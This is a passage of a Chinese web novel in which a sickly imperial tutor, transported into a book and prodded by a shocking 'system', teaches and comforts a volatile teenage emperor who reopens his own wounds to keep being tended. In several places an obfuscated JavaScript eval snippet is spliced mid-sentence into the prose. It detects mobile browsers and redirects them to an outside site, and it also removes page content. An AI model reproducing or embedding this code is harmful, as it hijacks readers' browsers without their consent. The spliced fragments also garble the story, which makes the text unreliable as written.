温催玉没说话,但扶着书案慢慢站起了身。 见状,卫樾一怔,然后下意识蹙眉——什么意思?温催玉觉得他态度不好、显得勉强,所以又不打算留下一起用膳了?这人怎么这般善变! 温催玉坐久了觉得身子僵硬,所以正好趁现在午膳还没送过来,起身走动走动。 他顺道开始给卫樾布置今天的课后作业:“对了,陛下,温故而知新,正好今日剩下的时间还多,陛下午膳过后,把方才臣讲授过的那些内容都自行再抄写复习三遍,并背诵下来,臣明日一早检查,好吗?” 卫樾听着温催玉的话,明白过来他并没有要离开的意思,便不由得松了口气。 但随即,卫樾又觉得自己很没出息。 温催玉留不留下用膳,有什么大不了的?有什么可紧张在意的! 于是,卫樾心里别扭,嘴上故意道:“朕若是不想背书,不愿做这课业呢?你又不在宫里盯着朕,还管得了朕做不做?” “陛下这意思,是说您此前答应的会好好配合臣上课,仅限臣看着您的时候?”温催玉说着,轻轻挑了下眉。 看到温催玉鲜活的表情,卫樾恍惚了下,又低下头嘀咕:“你没看着的时候,朕还要听你的话,那朕成什么了……” 他声音小,温催玉没听清,便走近了两步:“陛下说什么?” 不知是不是因为这之前坐得太久,又一直在费神讲学,温催玉说着突然目眩了下,脚下不慎,接着就撞在了书案上。 不巧的是还正好撞在了桌角,给温催玉疼得一趔趄,眼泪一下就出来了,比系统电他的效果还好。 卫樾看到温催玉身形不稳,下意识立马探长胳膊搀扶住了他。 一靠近,温催玉身上的白檀香又沁入了鼻间,让卫樾怔了怔。 温催玉抓住卫樾的手臂,借力站稳后,放开了手。 他一抬眸,卫樾便看清了明珠含泪的模样。 卫樾呆呆收回手臂:“你……朕背书就是了,不过一件小事,你何必气到又要哭,眼泪都糊了眼睛看不清路了……” 温催玉:“……” 他本想解释他没有因为这个而哭,眼泪只是纯粹因为腿被桌角撞疼了。 但……这解释,似乎也不会比卫樾以为的“气哭”要厉害些。 而且,既然卫樾能因此松口,愿意老实背书做课业,那误会就误会吧。 温催玉心平气和地擦去眼泪,对卫樾说:“那陛下可要说话算话。” 担心再次目眩难受,所以温催玉没再走动,坐了下来,和卫樾一起等午膳。 没过一会儿,蔡庆就带着其他宫人,把午膳的菜一道道端了进来。见渊阁里没有书案以外的桌子,宫人们还从临近的宫殿临时抬了张方桌过来。 摆上膳后,宫人们都退了出去。 少帝卫樾不喜人近身,连实际常伴左右的近侍都不要,用膳时也不要人伺候。寻常在宫里走动,身边也是没人紧跟着的,走到哪儿便用哪儿的宫人,没有定数。 因为卫樾性情刁钻,所以定风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358765|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿那边接触他最多的宫人们,还挺喜欢卫樾这不喜宫人跟随的脾气。 毕竟少接触就少有被卫樾看不惯的可能,利于保命,摄政王又不会因为少帝打杀了一个宫人就指摘什么。 …… 温催玉身体不好,所以饮食上格外讲究清淡和细嚼慢咽。 卫樾见他只夹固定几道菜,又吃得慢吞吞的,没忍住开口打听:“你瞧着不像是会客气的,那你是口味挑剔,还是身体竟弱到吃饭都这么讲究?” 温催玉无奈:“陛下,臣就是这般体弱,让您操心了,真是对不住啊。” 他语气慢悠悠的,显得有几分轻盈悦耳。 卫樾觉得耳根有点泛麻,不自在地嘀咕:“果真难养。” “是啊,吃穿住行都不能太差,药钱更是不能短了,所以陛下往后若是有机会,可要多赏赐臣一些奇珍异宝。”温催玉哭笑不得。 他又说:“陛下,臣好歹也是您的太傅,不奢望您能纡尊降贵真叫臣一声老师,可您动辄‘难养’,是否也太轻佻了点?” 卫樾出口骂人习惯了,恫吓威胁的话信手拈来。但好好说话的时候,反倒有些口拙。 他一时说不过温催玉,不知道怎么回答才能像温催玉这样分寸正好,调侃打趣但不会叫人误会心怀恶意。 所以卫樾索性只哼了一声:“食不语,温太傅好好吃饭。” 温催玉莞尔:“是,陛下。” 午膳过后,温催玉准备离开。 但在这之前,他想起来卫樾手上的烧伤,叮嘱道:“陛下,方太医说了,伤药需要一日两次,您别忘了换药。” 卫樾看了眼自己被包扎得妥帖的右手,轻哼了声:“原来你还记得朕伤了手……那你还叫朕抄写!” 温催玉心平气和:“陛下,因为臣观察过,您是左撇子。方才用膳拿筷子,您不也用的是左手吗?右手伤了,不妨碍左手做课业。” 卫樾烧书会伤了不是常用手的右手,是因为宫人把火盆端到了书案右侧,他若是不侧身,那直接用右手把纸张放到火盆上要方便些。 而且,温催玉猜测,卫樾虽然“贪玩”,但也知道惯用手受伤会比较麻烦,他又不喜欢宫人近身伺候,所以左手得好好留着……发疯之余,勉勉强强残留着一点理智。 “……”卫樾轻声嘀咕,“你倒是观察得细……” 在卫樾别扭的目送之下,温催玉离开了见渊阁,走向宫门。 卫樾看着他离开的方向,沉默片刻,才抬脚,也回自己的定风殿。 快步走了一会儿,卫樾突然想起来——虽然见渊阁位于前朝、离宫门近些,但走起来也要耽误不少时间,尤其是温催玉的身体还那么弱,走这一路,也不知道会不会又累又委屈得悄悄掉眼泪。 那么大个人了,还动辄落泪,这才轻佻呢!他方才居然没想到用这一点来“回击”温催玉! ……也没想起来,给温催玉安排辆马车什么的,送他出宫。 他虽然在朝中没有实权,但在宫里使唤个宫人、给太傅安排马车这种小事,还是做得到的。 卫樾停下脚步,回头看了看。 都过去这么久了,他现在才叫人安排马车去追,温催玉大概也已经出宫了。 而且,他若是给温催玉安排了马车,就是明明白白要让其他人知道,他对温催玉这个太傅不一般,可这种消息未必对温催玉有好处。 “罢了,明日问问他,看他自己要不要马车送。”卫樾自言自语。 又想起温催玉给他留的课业,卫樾不由得头疼:“……要朕背下那些内容就罢了,居然还要抄写三遍,真是麻烦。” 可若是不背、不抄,温催玉又哭起来,也很棘手。 11. 第 11 章 温催玉从南禧门出了宫,宫外一辆简朴的马车等候已久,正是太傅府上的马车,今早温催玉就是乘坐它到宫门口的。 “公子!”坐在马车外负责赶车的是个才十岁上下的男孩,他看到温催玉出来,连忙高兴地招手。 等温催玉走近了,他接着说:“您说午时出来,这都过了时辰了,我还担心您是和昨天一样出了事、又在宫里晕倒了,幸好没有。” 温催玉从见渊阁一路走出来,虽然没有为难自己,走得平缓,但还是有些累,以至于这会儿一开口,还没说出来话,就先咳了起来。 “我……咳、咳咳咳……”温催玉偏过头,掩面咳嗽。 面上因为走了一路而泛出的微红,短短几声轻咳间,又变得苍白似雪起来。 小仆连忙从马车上跳下来,给温催玉拍背顺气:“公子你这身体真是太弱了……” 他年纪小,手上力气没个数,好心办坏事,把温催玉拍得脸色更虚弱了。 温催玉连忙侧身避开,扶着马车缓了缓,才平顺地开了口:“……你再多拍几下,我的身体能更弱。” 小仆闻言有些尴尬地收回手,挠了挠头:“对不住啊,公子,我力气太大了,老是控制不住……您快上马车吧,车上有茶水,喝点顺顺气,应该能舒服点吧?” 温催玉颔首,上了马车,小仆也跟着坐上赶车的位置。 这行动间,小仆一瘸一拐,显然腿脚不便。 不过他一扯拉马的缰绳,手上赶车的鞭子一挥,虽然年纪小,但驾马车这件事做得很麻利。 “对了,公子,您今天出来这么晚……”小仆朝马车车厢里问,说着压低声音,“是不是又被那谁气着了?昨天我在外面久等不到您出来,反倒是宫里有人来说您讲学时一时激愤、人事不省……那谁真有这么气人啊?” 温催玉先喝水顺了顺气,接着失笑道:“倒也不是,今日我是因为留在宫里陪陛下用了午膳,所以才出来晚了。” “对了,子白,明日起我会整日给陛下讲学,就不午时出来了,你早上送我到了宫门口,就不用一直候着等我出来,下午晚些再来接我就行了。” 赶车的卢子白答应了一声:“好嘞,我知道了。其实我就在宫门外边候着也一样的,反正公子您又没给我其他差事,回了府上,其他人也都照顾我年纪小还腿脚不便,不让我干活,我还怪不好意思的……” 低调的马车驶离了冷清的宫道,汇入热闹的长街上。 温催玉如今住的太傅府,是朝廷拨给他的。 虽然他这个太傅只是个空有名头并无实权的存在,又因为少帝卫樾本人都没什么威信可言,所以温催玉这太傅的名头在朝中甚至都拿不出手,但说起来毕竟是位同三公的帝师。 庄王为了做好表面功夫,拨给温催玉的宅子倒是十分气派,距离宫城的南禧门也近。 卢子白这马车没赶多远,就能看到太傅府里最高的那处小楼了,不多时便回到了太傅府。 …… 卫樾回到了定风殿,便使唤宫人送上空白竹简和笔墨,准备做抄写的课业。 他自己研墨,左手执笔,狼毫笔尖沾了墨,就要落笔的时候,卫樾突然手腕一停。 他抬起被丝绢包扎着的右手,若有所思地端详片刻,然后将左手中的狼毫笔换到了右手。 右手有伤,写字时一用力,便密集的疼。 再多写一会儿,绢布包扎下本就止血不久的伤口承受不住,再度裂开,血珠很快浸染了不厚的绢布。 卫樾忍耐着手上的痛感,看着竹简上歪七扭八、十分难看的字迹,继续拿紧了笔写下去。 写到第三遍时,绢布被血色浸透,有血珠落在了竹简上。 卫樾面不改色,蘸着那点血珠继续写。 终于写完后,卫樾放下笔杆也沾了血渍的狼毫笔,不顾手上的伤,双手将竹简拿起来,满意地观摩了一番。 卫樾心想,明日温催玉瞧见了,定是要关心他的字迹为何如此之丑陋、竹简上又为何沾了血。 说不定温催玉一情急,到时候又要落泪……想想就十分有趣。 把竹简放下,卫樾又看了看自己的右手。 太医给的伤药,卫樾回来时没拿,但见渊阁的宫人很有眼力见地随后送到了定风殿,定风殿主事的宫人蔡庆又小心翼翼送到了卫樾眼前,如今几瓶药都在卫樾触手可得的地方放着。 但他盯着自己充满血腥气的手,片刻后直接放下,没有补救上药、换条绢布重新包扎的意思。 晚膳的时辰,蔡庆和其他宫人送膳食入殿,瞥见卫樾右手满是血色,不由得吃惊。 但卫樾没发话,宫人们也都权当没瞧见、不敢过问。 翌日一早,卫樾结束了傀儡皇帝的早朝,回到定风殿换下朝服,然后带上了抄写的竹简和几瓶伤药,前往每日上课的见渊阁。 卫樾头一回这么期待到见渊阁去,步子快了些,他到的时候,温催玉还没来。 温催玉身为太傅,官职在身,但他这太傅一职特殊,没有同任其他官职、又无皇帝权力倚仗的情况下,可以说是手中半点实权都无。 按大燕的礼制,他这太傅不上早朝也行,上了早朝虽然没人会赶,但左右也没他发挥的余地。 温催玉本身又是个病秧子,既然无人在意他,那他自然就不上早朝了,只按着给少帝授课的时辰入宫。 前两日,卫樾并不在意温催玉到见渊阁的时辰,反正他又没打算听课。 但今日,卫樾坐在书案前,忍不住看了殿门口好几回。 他蹙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358766|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眉头想,这温催玉怎么动作这么拖拖拉拉,来得这么晚,他都等了许久了! 于是乎,温催玉到了见渊阁之后。 卫樾没等他行礼,便有些迫不及待地开口提议:“不如你明日起也上早朝吧,这样下了朝就过来,朕便不用等这么久了。” 温催玉从宫门口一路走过来,气息尚且不稳,就先听到他的好学生想让他每天卯时、即凌晨五点就到宫里站一两个时辰,一时语塞:“……” 卫樾见他不说话,追问:“不好吗?” 温催玉有气无力地回答:“陛下,您若是想让臣往后每日早些入宫,直言便是了,何必这般迂回。” 卫樾想说他是认真的,不过看着温催玉没什么活气的模样,他又意识到了—— 也是,就温催玉这个身子骨,若是上早朝的话,怕是会直接晕在朝堂上,等不到早朝结束再来给他授课了。 “罢了,你知道以后要早些来就行。”卫樾说着,又想起来昨日考虑过的事情,“你是不是走得太慢了?要不朕给你安排能在宫里行走的马车罢。你出了宫有马车接你吗,若是没有,那就直接从你府上接送,免得你慢吞吞耽误时间。” 温催玉倒是愿意接受他这别扭的好意,但想了想,还是微微摇头:“多谢陛下的体恤,不过还是不用了。臣觉得,咱们暂且越低调越好,而且如今天气好,臣每日走动走动,对身体也有益处。” 卫樾难得关心一回旁人,却被拒绝了,虽然也知道温催玉是出于冷静的考量,但卫樾还是有几分不自在的羞恼。 他想要揭过这茬,正好也有别的事想让温催玉知道,于是他接着若无其事地抬起方才被书案挡住的右手,把竹简递给温催玉:“随你。这是朕抄写的课业,你看看吧。” 温催玉正想先夸一句“陛下好学”,但下一瞬他目光一凛,没顾得上看竹简,而是惊愕地看向了卫樾的手。 那手上的绢布原先是浅色近白的,但这会儿□□涸后显得暗沉的血红染满了,温催玉看得几乎头晕目眩了一瞬。 他连忙走近,抓住卫樾抬着的右手手腕,盯着问:“这是怎么回事?陛下,这手上的伤昨日不是止血了吗,怎么……” 卫樾一脸轻描淡写,动了动手腕,想要收回手似的:“没什么,写字的时候不小心又裂开了吧,也不疼。” 温催玉瞧见他这副很不把自己的身体当回事的反应,一时又操心又气恼,蹙着眉对殿外喊:“常喜,传太医——” “不用了,昨天的伤药又没用完,都在这里。”卫樾说,“你要这么看不过去,那再给朕重新上药便是了。” 温催玉无可奈何,先从卫樾手里抽出他还拿着的竹简。 放下的时候,他发现竹简上也沾着已经干了的血迹,不由得又是一蹙眉。 12. 第 12 章 卫樾在书案前坐着,温催玉还是与他相邻而坐,帮他处理右手的伤。 先要把手上当前裹着的绢布拆下来。 这绢布被血浸湿,血一干,有的地方的布和伤口黏在了一起,温催玉看得心惊胆战,手上动作越发小心,但还是难免再度撕开伤口,又有血珠冒了出来。 卫樾始终一脸平静,嗅着靠得很近的白檀香,不发一言。 温催玉被近在咫尺的血腥气弄得有些气闷头晕,虽然满腹话想说,但自觉精力不足以一心多用,便只先专注给卫樾处理伤势。 总算小心拆下绢布后,温催玉让宫人常喜端了盆清水进来。 他还是握着卫樾的手腕,把卫樾的右手放到水盆上,掬水起来帮卫樾清洗了下伤口。 然后用干净绢布擦拭了水珠和血渍,拿过止血药粉,像昨天那样撒上敷好。 接着要等止血粉起效,温催玉总算能休息一下。 他闭了闭眼,睁眼后看向仿佛没有痛觉的卫樾,无奈问:“陛下真的不疼吗?” 昨天温催玉给卫樾上药的时候,卫樾还会神情凝重地蹙着眉、看得出来是有些疼的,但今天他这装得更云淡风轻了,让温催玉反而更担心。 但卫樾只坚称:“这有什么可疼的。” 他这么嘴硬,温催玉索性接着问别的:“陛下方才说,您这手是拿笔用力造成的伤上加伤……臣留下的课业,您用右手抄写完成的?” 卫樾不痛不痒地点头:“那是自然。” 温催玉不解:“可昨日不是说了吗,陛下您是惯用左手的,左手没受伤,本来不妨碍做课业。您为何非要用右手?” 闻言,卫樾仍是满不在乎的神情,他低头看着自己的双手,说:“朕年幼时随母妃习字,母妃说朕本就被批命数异于常人,若是被人发现连惯用手都和寻常人不同,只怕又招致祸端,所以母妃逼朕改用右手,朕只会用右手写字。” 温催玉怔住,目光柔和下来。 他轻声说:“是臣疏忽,昨日没有多问两句……那为何伤上加伤后,陛下没让人帮着重新上药包扎呢?就这么放置了整夜?” 卫樾偏过头看向他,眼神和语气都有些五味杂陈起来:“朕自己也能上药,但朕不想拆掉这绢布……你给朕包扎得很好,朕不想拆。” 温催玉不由得又是一怔,心绪也跟着翻涌得更厉害了。 他想,卫樾自幼和神志不清的母妃一起被关在形同冷宫的宫殿里,能感受到的、直接的温暖大抵不多。后来被推着登基,摄政王虎视眈眈,其他人大概不敢对少帝示好,卫樾也不敢信任其他人。 得到过的太少,所以如今才连一张绢布都舍不得自己拆。 要不是卫樾体质好,估摸着也有运气成分,他这伤口裹着被血污的绢布,又被弃之不理这么久,发炎化脓的风险很大,连带着人开始发烧生病都有可能…… 想到这里,温催玉突然有点担心,他下意识抬手摸了摸卫樾的额头。 卫樾额上体温正常,不似发烧后在强撑的样子,温催玉才松了口气,放下手。 卫樾错愕又怔愣地看着方才摸他额头的温催玉……虽然昨日温催玉也胆大包天摸过他的头顶,但和这会儿摸脸,感觉总是不太一样的…… “陛下,臣僭越了。”温催玉见他一脸不知道怎么发作的表情,笑了笑,然后准备给卫樾继续上药。 卫樾垂眸看着低着头的温催玉,有些迷茫起来。 难道是他方才表现得不够可怜吗?温催玉为什么没有难过到哭一哭? 还是说,温催玉不会因为同情怜悯而哭,只会被委屈气到落泪? 那可真古怪。 …… 温催玉重新给卫樾包扎上了右手,然后一边收拾书案,一边叮嘱卫樾:“陛下,之后可不要再任性了,您的身体,您自己当最要保重才是。” “您若是习惯臣为您上药,那这样可好,臣每日早晨进宫后和傍晚出宫前,正好每日两次为您换药。旁的时间里,您自己多小心,不要让伤手碰着水。” 听着温催玉的轻言细语,卫樾抿了抿唇。 温催玉以为他还在想惯用手的事,便接着道:“惯用手左手的人虽然少,但本质和惯用右手的人无异。您又是皇帝,也不用担心饭桌上人太多,您惯用手不太一样会导致筷子打架。既然如此,何必在乎左手右手,如今习惯怎么用便怎么用就是。” 卫樾看了眼自己被重新包扎好的右手,突然伸手自己打开了抄写的那卷竹简,语气有些桀骜道:“这种道理,用得着你说?朕虽然生来惯用左手,但改用右手也写得一手好字,朕十分满意,温太傅觉得呢?” 听到卫樾的语气又骄横起来,温催玉心平气和。 但目光落在竹简上,看清上面的字迹后,温催玉平和不下去了,差点被呛住。 卫樾的字迹有如鬼画符,夹杂的血点更是起到了很好的烘托作用,让这卷竹简更适合拿去祭坛做法,而不是送到温催玉面前交作业。 温催玉沉默稍许,即便是出自鼓励学生的想法,也实在无法违心地说出正面评价。 所以他拿出和颜悦色的表情,对卫樾说:“臣觉得,陛下的字迹很值得挖潜。” 卫樾立刻冷下脸:“你嫌弃朕的字?你当朕听不懂你的意思是不是?” 温催玉拿这个没有自知之明的少帝没办法,继续温声哄道:“陛下愿意写,臣就很欣慰了,哪里敢嫌弃。陛下的字迹很有您的个人风范,张扬肆意。但这写字难免要给旁人看,若是能周正一些,兴许更好。所以,从今日起,臣也教陛下端正字迹,可好?” 温催玉穿书之前是学美术的,他从小画画,学得有些杂,但涉猎最多的便是写意风格的水墨国画。为了作画后的题字不至于毁了整幅画,他也认真学过书法。 以卫樾这竹简上的字迹水准来说,温催玉觉得自己还是能教一教他的。 卫樾蹙眉打量着温催玉的脸,想从他眼中看到落泪的痕迹,但目前还是没看到,温催玉好声好气、似乎并没有被气到。 “不好。”卫樾索性乖戾地不配合道,“朕觉得朕的字十分好,不打算改。你要是再废话,朕就让人剪了你的头发!” 温催玉:“……” 这小兔崽子方才不都还好好的吗,怎么又开始犯毛病了? 温催玉不想继续哄了,他这学生都十六了,他又不是幼师。 不过置之不理吧,温催玉又担心该死的系统和卫樾一样蛮不讲理,又给他“电疗”个不停,逼得他还是要哄学生。 ……说起“电疗”,温催玉突然想起来,昨天他不慎撞了桌角,疼得没忍住掉了眼泪,居然让卫樾这小孩立马改口愿意做课业了。 所以……温催玉决定,为教育事业献身,试一试。 他在心里喊系统:【你浅浅电我一下,比惩罚提醒的力度小一点。】< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15358767|168049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 系统疑问:【宿主您确定吗?】 温催玉:【确定,快点。】 系统不明所以,但尊重宿主,马上释放了电流。 温催玉倏然抓紧了书案边沿,忍下闷哼声,感觉眼前有水雾氤氲起来。 他轻声喊:“陛下……” 卫樾看着温催玉眼中骤然出现的泪花,怔了下。 他想,温催玉终于哭了,果然要气他才能让他哭……但好奇怪,看到了想看的场面,但卫樾觉得自己也没感到多痛快。 反倒有些惊慌失措起来。 “你……你怎么又哭了,这么大个人了,说不过就哭。”卫樾一边说一边把面前的竹简卷了起来,好似能让温催玉“眼不见为净”就不哭了似的,但嘴上没停,“你这算什么为人师表,你是要教朕往后遇到了事就对人哭吗?” 温催玉见他这一下子没了气焰的反应,其实还是有点意外——没想到哭还真有用啊。 这小兔崽子果然还是有心的。 温催玉擦掉眼泪:“那陛下愿意练字了吗?” 卫樾抿了下唇,左手执笔,沾了点茶水,直接在书案上写了几个字。 温催玉盯着看了,发现这几个字写得挺漂亮的,虽然不是规矩方正的字迹,但和方才那竹简上乱七八糟、横竖都有断点的字,堪称天壤之别。 温催玉:“……所以,陛下是故意把课业写得那般难看,还诓臣说您只会右手写字?” 卫樾眯了下眼,有点想要发作,但又莫名心虚:“你方才果然是觉得朕的字难看,还说什么值得挖潜,有朕的风范……你也骗了朕,朕同你玩笑一番罢了,互抵了,你总不会还盘算又要朕同你道歉吧?” 温催玉轻叹道:“那陛下说您的母妃希望您不用左手,这事儿又是真是假?” “……半真半假。”卫樾轻咳了声,又别扭道,“也是你太轻信了。” 温催玉平心静气地看着卫樾。 卫樾避开视线,接着说:“朕有印象起,便没见母妃清醒过,她自己翻阅竹简、教朕读书,全凭心情,写字也是。” “朕学写字那会儿,定风殿里早没有墨可用了,只有经久的毛笔,可以将就继续用用。母妃便教朕用水假充墨,在桌上或地上写字,水干了字迹便没了,同一块地方能反复写,这一点上倒是比真墨更方便,毕竟定风殿里也没太多能写字的东西。” 卫樾这会儿不似方才,既没有故意的云淡风轻,也没有色厉内荏的夹枪带棒,但听得温催玉感到不忍。 卫樾说:“起初,因为母妃是右手执笔,所以朕也学着用右手,可用得不习惯,朕又想起自己拿别的东西时,是左手更便利,便自行改用左手执笔,果然顺畅许多。” “母妃精力涣散,很长一段时间里都没发现这件事,直到某次朕自己无意中说起,她听了之后突然崩溃,颠三倒四地说了一些话,大意就是方才朕说过的那些,总之想让朕和常人一样用右手。” “但她记性不好,自己说过了又忘了,朕没再提醒她,她便没再注意到朕惯用手的事。朕才不想为难自己,便没有改用右手。” 卫樾说完,头顶突然压下一道轻柔的力道,是温催玉又情不自禁摸了摸他的头,仿若安慰。 卫樾怔怔地看着温催玉如明珠般清润的眼睛,突然意识到,惹温催玉生气,能换来他的眼泪。 而让温催玉心生怜惜,则能换来他温存的抚摸。 13. 第 13 章 这天之后,直到右手烧伤不再需要换药这天,小半个月过去,卫樾大体上都很“安分”。 温催玉也因此放心下来,这天下课离开皇宫之前,他又看了看卫樾的右手。 前几日起,卫樾的手就没再特意包扎了,不然不透气,闷着反而影响愈合。今日卫樾的右手上已经只剩粗糙的痂痕,稍微用点力也不会再崩裂渗血。 “方太医前两日来看时说过,等这些痂掉了之后,就可以擦那祛疤的药膏。陛下您这次烧伤太严重,万一留疤就不好了。”温催玉和声说。 卫樾有点不自在地说:“留疤就留疤,有什么好不好的。” 温催玉无奈:“您这伤来得很英勇吗?留下疤也不怕往后难为情。罢了,现在不操心这个,横竖到时候臣会每日给您上药,等您手上的疤痕也没了,臣也就松快了。” 闻言,卫樾微微一怔。 这天回到定风殿,卫樾坐在院中摇椅上,抬起右手看了片刻。 他想起了温催玉的手。 温催玉的手和他的人一样纤瘦修长,大抵是体弱多病的缘故,温催玉的手总是微微泛凉的。 可温催玉给他上药时,握住他的手腕、小心触碰他的手……想要安慰他时,抚摸他的头……还有之前担心他发烧生病,碰他的额头试探时,温催玉那纤细泛凉的手指,总是柔软的。 卫樾抿了下唇,伸出左手,落在右手的痂痕上,不慌不忙地撕扯起来。 很快,与疼痛相伴的,是痂痕和血珠的掉落。 卫樾满意地看着自己再度伤痕累累、血迹斑斑的手,心想这样的话,温催玉就得一直给他上药了。 温催玉不能不管他。 …… 翌日。 温催玉来到见渊阁,准备开始今天的讲学时,看到了卫樾故意放在书案上的右手。 他神情一变:“陛下,您的手怎么……” 卫樾轻描淡写地看了眼:“没什么,那太医不也说过吗,结痂愈合的过程中伤口可能会发痒,朕昨晚睡前就觉得痒,今早起来就瞧见这样了,大抵是朕在睡梦中不自觉挠了几下吧。” 温催玉没信他这鬼扯,抓起他的手仔细看了看。 “能把结痂全都挠开了,其他地方却没留什么挠痕,陛下这左手倒是厉害。”温催玉表情有些冷淡起来。 然后他几乎是用甩开的力气,放开了卫樾的手。 卫樾重重一怔,没想到温催玉会突然真的生气。 这段时间以来,温催玉给卫樾留下的印象就是脾气好,就算被气狠了也只是自己掉眼泪,面对他时总是斯文冷静的,好像可以包容他的一切恶劣言行。 可现在…… 卫樾下意识把右手藏到了书案下,有几分故作镇定的局促:“朕又不是故意的,你说话怪声怪气的作何……你生气了吗?” 温催玉展开竹简,看也不看卫樾:“不敢。” 卫樾攥了攥拳头:“……朕的手需要上药……你不管朕了吗?” 卫樾的语气难得这么虚弱,含着他自己也不知道意没意识到的忐忑不安。 温催玉看着竹简上的字,闭了闭眼,心下叹气。 然后他睁开眼,放下竹简,看着卫樾:“陛下,说实话,手是怎么回事?” 卫樾抿了抿唇才开口:“……朕自己把痂痕撕下来了。” 温催玉无奈:“您希望臣能继续给您上药,是吗?” 卫樾梗着脖子点了下头。 温催玉看着这个糟心的倒霉小孩,又觉得生气,又觉得不忍,感到心疼。 很显然,卫樾故意这样伤害自己,是不想结束这段时间以来每日例行的上药。 有人给他上药、关心他伤口的愈合情况,卫樾大概是从中体会到了从未有过的温情。纵然他嘴上不肯承认,但心里是喜欢被人好好对待的。 温催玉缓和了神情,拿过就放置在见渊阁、本以为已经用不上了的止血粉和伤药,坐到卫樾身边:“陛下,伸手。” 卫樾用史无前例的老实态度,配合伸出手。 温催玉轻车熟路地给他上药,一心二用地轻声开口:“陛下,您愿意和臣亲近,臣很高兴。但臣是不是说过,您要保重自己的身体?” 听到温催玉说得这么直白,仿佛把他的别扭心思看透了一般,卫樾下意识就想要反驳,说谁想跟你亲近了…… 但又想起方才温催玉冷脸的模样,卫樾就把要出口的话强行咽了回去,再开口时语气也很轻:“朕……回过神来的时候,就已经动手撕了……” “那下次再有这种心思,陛下要忍住,好吗?”温催玉轻柔道,“陛下,臣是您的太傅,不是医师,不会因为您的手伤痊愈了,就不管您的。” 卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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待庄王离开见渊阁后,卫樾有些闷闷不乐地对温催玉说:“你放心,朕一定不会让你失望。有朝一日,你不会再需要对庄王和其他任何人这般小心谨慎。” 温催玉微微一怔,旋即轻笑。 他抬手摸了摸卫樾的头顶:“好,臣相信陛下。” 14. 第 14 章 三日后,秋猎围场—— 一身骑装的庄王手持弯弓,站在点将台上,朝天一箭,正中空中飞过的大雁。 他在此番随行来到围场的官员和将士们的恭维叫好声中,宣布今年的秋猎正式开始。 卫樾和温催玉没在点将台附近观摩这一场面,而是待在皇帝的营帐里,一个传道受业一个勤学好问,和往常在宫里见渊阁中一样的。 往年春秋两次围猎,卫樾也都会被庄王安排着一起到围场,但卫樾不喜欢坐在点将台上被当乐子——平时早朝坐在龙椅上当哑巴皇帝,他已经体验够了。 而且要比较起来,好歹在朝堂上除了发呆以外,他也能听听文武百官奏对,多少有点意思。但围猎时的点将台,坐着就是一点意思都没有了。 所以,自打登基后第二次参加围猎起,卫樾都是直接拒绝去点将台,反正也是庄王主持,他去不去没有差别。 而这回温催玉这个太傅也跟着一起来了,同样不打算去外面点将台附近干凑热闹,声音太吵,他听着多少会有点不舒服。 可庄王一早亲自前来问,温催玉不便像卫樾那样直言“朕不乐意去”,便借口说要和往常一样给少帝讲学。 但卫樾今日有点坐不住。 听到从营帐外传来的马蹄奔跑声后,卫樾等着温催玉把当前这几句讲完了,才兴致勃勃地说:“那些官员将士应该都已经出发去打猎了,外面现在没那么多事了,朕想出去转转。” 温催玉还没回答,又听到卫樾声音低落下去:“……朕一年到头都被关在宫里,唯有围猎的时候能出来看看,不想这几日也只闷在营帐里,你陪朕一起在围场里走走,别只顾着讲学了,行吗?” 闻言,纵然知道卫樾多少有点故意装可怜的成分,但温催玉还是有点不落忍。 因为他知道,卫樾只是语气显得刻意,说的内容却是没有弄虚作假的。庄王看管少帝看得严格,卫樾寻常的确出不了宫。 他又不能、也不会上马拉弓参加狩猎,若不是围猎的时候是难得能出宫的机会,以卫樾的脾气,大抵会直接不来围场。 温催玉目光温和地看着卫樾,抬手摸了摸他的头,心想毕竟还是个半大的小孩,平日里装得再刁钻跋扈、爱搭不理,骨子里其实也还是有几分贪玩、喜欢新鲜和自由的。 “陛下,”温催玉轻声说,“臣知道,您觉得装可怜,能让臣更心疼您、顺着您……” 卫樾一怔。 “但臣也希望,若是可以,您能更加真实坦然地和臣这个老师相处。您四周虎狼环伺,本就很难率真而为,若是在臣面前,想要出去透透气也要装可怜来博弈,那未免也太累了。不必如此,好吗?”温催玉语气柔和。 